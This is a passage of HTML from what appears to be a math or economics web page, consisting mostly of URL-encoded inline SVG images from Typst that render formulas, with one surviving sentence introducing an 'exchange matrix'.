D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%232ecc40%22%5D%20%7B%0A%09stroke%3A%20var%28--g%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23f012be%22%5D%20%7B%0A%09stroke%3A%20var%28--p%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23ffdc00%22%5D%20%7B%0A%09stroke%3A%20var%28--y%29%3B%0A%7D%0A%3C%2Fstyle%3E%3Cg%20class%3D%22typst-group%22%3E%3Cuse%20xlink%3Ahref%3D%22%23a%22%20fill%3D%22%23000000%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%200%2015.379%29%22%2F%3E%3C%2Fg%3E%3Cdefs%3E%3Csymbol%20id%3D%22a%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M4.121%205.096c.702%201.053%201.053%202.067%201.053%203.016%200%20.702-.273%201.053-.806%201.053-.507%200-.988-.377-1.469-1.144-.299-.481-.533-.91-.702-1.3-.676-1.547-1.014-3.029-1.014-4.433l-.962-.936q-.078-.097-.078-.156c0-.143.065-.221.208-.221.052%200%20.338.26.871.78.182-1.274.676-1.911%201.469-1.911.481%200%201.066.299%201.742.91q.312.273.312.39c0%20.143-.065.208-.208.208-.039%200-.104-.039-.195-.13C3.666.559%203.12.234%202.717.234c-.481%200-.728.533-.728%201.612%200%20.78-.013.689.325%201.027a14.3%2014.3%200%200%201%201.807%202.223m.26%203.679c.26%200%20.39-.208.39-.611%200-1.391-.871-3.016-2.626-4.888.182%201.027.832%203.419%201.261%204.329q.566%201.17.975%201.17%22%2F%3E%3C%2Fsymbol%3E%3C%2Fdefs%3E%3C%2Fsvg%3E&quot; class=&quot;typst-inline typst-doc&quot; style=&quot;vertical-align: -0.5909090909090907em; width: 0.5034545454545455em&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; alt=&quot;&quot; &#x2F;&gt;. These exchanges can be represented with the following exchange matrix:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;data:image&#x2F;svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20width%3D%22138.83659999999998pt%22%20height%3D%2269.3154pt%22%20class%3D%22typst-doc%22%20viewBox%3D%220%200%20138.83659999999998%2069.3154%22%3E%3Cstyle%3E%3Aroot%20%7B%0A%09--t%3A%20%23000000%3B%0A%09--b%3A%20%23ffffff%3B%0A%09--m%3A%20%23d5d5d5%3B%0A%09--l%3A%20%230074d9%3B%0A%09--r%3A%20%23ff4136%3B%0A%09--g%3A%20%232ecc40%3B%0A%09--p%3A%20%23f012be%3B%0A%09--y%3A%20%23ffdc00%3B%0A%7D%0A%0A%40media%20%28prefers-color-scheme%3A%20dark%29%20%7B%0A%09%3Aroot%20%7B%0A%09%09--t%3A%20%23ffffff%3B%0A%09%09--b%3A%20%23000000%3B%0A%09%09--m%3A%20%237a7a7a%3B%0A%09%7D%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23000000%22%5D%20%7B%0A%09fill%3A%20var%28--t%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23ffffff%22%5D%20%7B%0A%09fill%3A%20var%28--d%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23d5d5d5%22%5D%20%7B%0A%09fill%3A%20var%28--m%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%230074d9%22%5D%20%7B%0A%09fill%3A%20var%28--b%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23ff4136%22%5D%20%7B%0A%09fill%3A%20var%28--r%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%232ecc40%22%5D%20%7B%0A%09fill%3A%20var%28--g%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23f012be%22%5D%20%7B%0A%09fill%3A%20var%28--p%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23ffdc00%22%5D%20%7B%0A%09fill%3A%20var%28--y%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23000000%22%5D%20%7B%0A%09stroke%3A%20var%28--t%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23ffffff%22%5D%20%7B%0A%09stroke%3A%20var%28--d%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23d5d5d5%22%5D%20%7B%0A%09stroke%3A%20var%28--m%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%230074d9%22%5D%20%7B%0A%09stroke%3A%20var%28--b%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23ff4136%22%5D%20%7B%0A%09stroke%3A%20var%28--r%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%232ecc40%22%5D%20%7B%0A%09stroke%3A%20var%28--g%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23f012be%22%5D%20%7B%0A%09stroke%3A%20var%28--p%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23ffdc00%22%5D%20%7B%0A%09stroke%3A%20var%28--y%29%3B%0A%7D%0A%3C%2Fstyle%3E%3Cg%20fill%3D%22%23000000%22%20class%3D%22typst-group%22%3E%3Cuse%20xlink%3Ahref%3D%22%23a%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%200%2069.315%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23b%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%200%2049.219%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23b%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%200%2043.681%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23b%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%200%2038.144%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23b%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%200%2032.606%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23b%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%200%2027.069%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23c%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%200%2020.93%29%22%2F%3E%3Cg%20class%3D%22typst-group%22%3E%3Cuse%20xlink%3Ahref%3D%22%23d%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2012.25%2013.623%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23e%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2019.11%2017.08%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23f%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2025.47%2013.623%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23g%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2030.916%2013.623%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23h%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2037.916%2013.623%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23d%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2012.25%2038.067%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23i%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2019.11%2041.525%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23f%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2025.47%2038.067%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23g%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2030.916%2038.067%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23h%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2037.916%2038.067%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23d%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2012.25%2062.51%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23j%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2019.11%2065.969%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23f%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2025.47%2062.51%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23g%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2030.916%2062.51%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23h%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2037.916%2062.51%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23d%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2053.862%2013.623%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23e%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2060.722%2017.08%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23f%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2067.082%2013.623%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23k%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2072.528%2013.623%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23h%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2079.528%2013.623%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23d%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2053.862%2038.067%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23i%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2060.722%2041.525%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23f%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2067.082%2038.067%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23k%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2072.528%2038.067%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23h%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2079.528%2038.067%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23d%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2053.862%2062.51%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23j%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2060.722%2065.969%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23f%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2067.082%2062.51%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23k%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2072.528%2062.51%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23h%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2079.528%2062.51%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23d%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2095.474%2013.623%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23e%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20102.334%2017.08%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23f%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20108.695%2013.623%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23l%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20114.14%2013.623%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23h%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20121.14%2013.623%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23d%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2095.474%2038.067%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23i%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20102.334%2041.525%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23f%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20108.695%2038.067%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23l%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20114.14%2038.067%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23h%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20121.14%2038.067%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23d%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2095.474%2062.51%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23j%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20102.334%2065.969%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23f%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20108.695%2062.51%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23l%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20114.14%2062.51%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23h%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20121.14%2062.51%29%22%2F%3E%3C%2Fg%3E%3Cg%20class%3D%22typst-group%22%3E%3Cuse%20xlink%3Ahref%3D%22%23m%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20126.587%2069.315%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23n%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20126.587%2049.219%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23n%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20126.587%2043.681%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23n%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20126.587%2038.144%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23n%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20126.587%2032.606%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23n%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20126.587%2027.069%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23o%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20126.587%2020.93%29%22%2F%3E%3C%2Fg%3E%3C%2Fg%3E%3Cdefs%3E%3Csymbol%20id%3D%22a%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M11.172%200c.238%200%20.35.112.35.35%200%20.126-.056.21-.154.266-1.134.868-2.156%202.212-3.08%204.06-1.652%203.29-2.898%207.966-2.898%2012.712v3.542H3.878v-3.542c0-4.592%201.554-9.338%203.29-12.558C8.316%202.702%209.59%201.12%2010.976.07a.34.34%200%200%201%20.196-.07%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22b%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M3.878%200H5.39v6.972H3.878Z%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22c%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M11.382%2020.3c.098.07.14.168.14.28%200%20.238-.112.35-.35.35a.34.34%200%200%201-.196-.07c-1.218-.938-2.38-2.324-3.472-4.172-1.918-3.304-3.626-8.246-3.626-13.146V0H5.39v3.542c0%202.156.252%204.326.742%206.524.868%203.92%202.688%208.316%205.25%2010.234%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22d%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M7.728%208.862c0%20.616-.602%201.008-1.26%201.008-.868%200-1.47-.56-1.792-1.666-.07-.252-.224-.966-.448-2.142h-.91c-.308%200-.462-.014-.462-.308%200-.154.14-.224.434-.224h.84L3.108.112c-.154-.798-.294-1.386-.42-1.778-.168-.518-.406-.784-.714-.784a.95.95%200%200%200-.532.154c.448.07.672.336.672.784%200%20.364-.182.546-.56.546-.476%200-.812-.42-.812-.896%200-.616.574-1.008%201.232-1.008.35%200%20.672.14.938.434.448.462.798%201.12%201.05%202.002.154.546.294%201.078.392%201.61l.812%204.354h1.148c.322%200%20.462.014.462.336%200%20.126-.14.196-.42.196H5.278c.084.574.476%202.688.602%202.954.14.294.336.434.588.434.21%200%20.392-.056.546-.154-.434-.098-.658-.35-.658-.784%200-.364.182-.546.56-.546.476%200%20.812.42.812.896%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22e%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M2.97%206.507c-.422-.411-1.05-.617-1.902-.617v-.431c.578%200%201.039.088%201.392.254V.833c0-.127-.01-.206-.04-.245C2.373.48%202.079.421%201.54.421h-.402V0L2.88.04%204.635%200v.421h-.401c-.54%200-.833.06-.892.167a.6.6%200%200%200-.03.245v5.36c0%20.265-.039.314-.343.314%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22f%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M4.452-3.472c.126%200%20.196.07.196.196%200%20.042-.028.098-.07.154-.728.56-1.316%201.484-1.75%202.758-.378%201.106-.574%202.198-.574%203.276v1.176c0%201.078.196%202.17.574%203.276.434%201.274%201.022%202.198%201.75%202.758.042.042.07.098.07.154%200%20.126-.07.196-.196.196a.24.24%200%200%201-.098-.042c-.84-.644-1.54-1.596-2.114-2.87-.546-1.218-.826-2.366-.826-3.472V2.912c0-1.106.28-2.254.826-3.472.574-1.274%201.274-2.226%202.114-2.87a.24.24%200%200%201%20.098-.042%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22g%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M3.766%209.324q-.861-.882-2.52-.882v-.546c.728%200%201.33.112%201.792.336V1.148c0-.252-.056-.42-.182-.49S2.38.546%201.82.546h-.49V0q.525.042%202.268.042T5.866%200v.546h-.49c-.574%200-.924.042-1.036.112s-.182.238-.182.49v7.756c0%20.336-.028.42-.392.42%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22h%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M1.092-3.43c.84.644%201.54%201.596%202.114%202.87.546%201.218.826%202.366.826%203.472v1.176c0%201.106-.28%202.254-.826%203.472-.574%201.274-1.274%202.226-2.114%202.87a.24.24%200%200%201-.098.042c-.126%200-.196-.07-.196-.196%200-.056.028-.112.07-.154.728-.56%201.316-1.484%201.75-2.758.378-1.106.574-2.198.574-3.276V2.912c0-1.078-.196-2.17-.574-3.276-.434-1.274-1.022-2.198-1.75-2.758-.042-.056-.07-.112-.07-.154%200-.126.07-.196.196-.196.014%200%20.056.014.098.042%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22i%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M1.166%204.155c.314%200%20.549.235.549.549%200%20.353-.186.539-.549.549.216.46.706.833%201.343.833.862%200%201.43-.647%201.43-1.51%200-.47-.166-.92-.509-1.362a5%205%200%200%200-.382-.47L.725.441C.598.323.617.294.617%200h4.038l.304%201.842h-.412C4.48%201.323%204.4%201.02%204.312.951%204.263.92%203.959.9%203.381.9H1.715a50%2050%200%200%200%201.842%201.56c.441.343.755.647.951.911q.441.573.441%201.206c0%20.607-.235%201.087-.715%201.44-.422.324-.951.49-1.578.49a2.2%202.2%200%200%201-1.402-.47C.833%205.694.617%205.263.617%204.733c0-.333.245-.578.55-.578%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22j%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M3.46%203.46c.656.264%201.283.842%201.283%201.675%200%20.441-.235.794-.696%201.049a2.6%202.6%200%200%201-1.293.323c-.48%200-.902-.098-1.264-.304-.441-.245-.667-.588-.667-1.029%200-.372.186-.558.549-.558.304%200%20.53.235.53.539s-.158.48-.461.529c.284.304.705.46%201.283.46.637%200%201-.382%201-1.009%200-.46-.127-.833-.372-1.127-.275-.323-.47-.372-1.04-.411-.264-.02-.44.01-.44-.187%200-.117.098-.176.284-.176h.52c.842%200%201.254-.637%201.254-1.519C3.93.853%203.538.196%202.715.196c-.716%200-1.235.196-1.559.598.343.039.52.235.52.578a.557.557%200%200%201-.569.568c-.382%200-.578-.196-.578-.597%200-.5.255-.902.755-1.186.421-.235.901-.353%201.45-.353a2.56%202.56%200%200%201%201.568.5q.735.544.735%201.411c0%20.911-.794%201.539-1.578%201.744%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22k%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M3.318%209.324c-.714%200-1.316-.252-1.834-.756S.7%207.476.7%206.762c0-.476.35-.826.784-.826.42%200%20.77.364.77.784a.757.757%200%200%201-.784.784c-.042%200-.07%200-.098-.014.266.686.882%201.288%201.764%201.288%201.148%200%201.792-.994%201.792-2.198%200-.938-.476-1.946-1.428-3.01L.868.602C.686.392.7.406.7%200h5.194L6.3%202.52h-.462c-.112-.714-.21-1.12-.294-1.246-.07-.07-.49-.098-1.26-.098H1.946l1.358%201.33c.952.896%202.156%201.862%202.562%202.604q.42.735.42%201.47c0%201.652-1.288%202.744-2.968%202.744%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22l%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M4.242%204.942c.924.35%201.792%201.232%201.792%202.422%200%20.602-.294%201.092-.868%201.47a3.13%203.13%200%200%201-1.722.49%202.95%202.95%200%200%201-1.666-.49c-.546-.364-.826-.84-.826-1.442%200-.462.308-.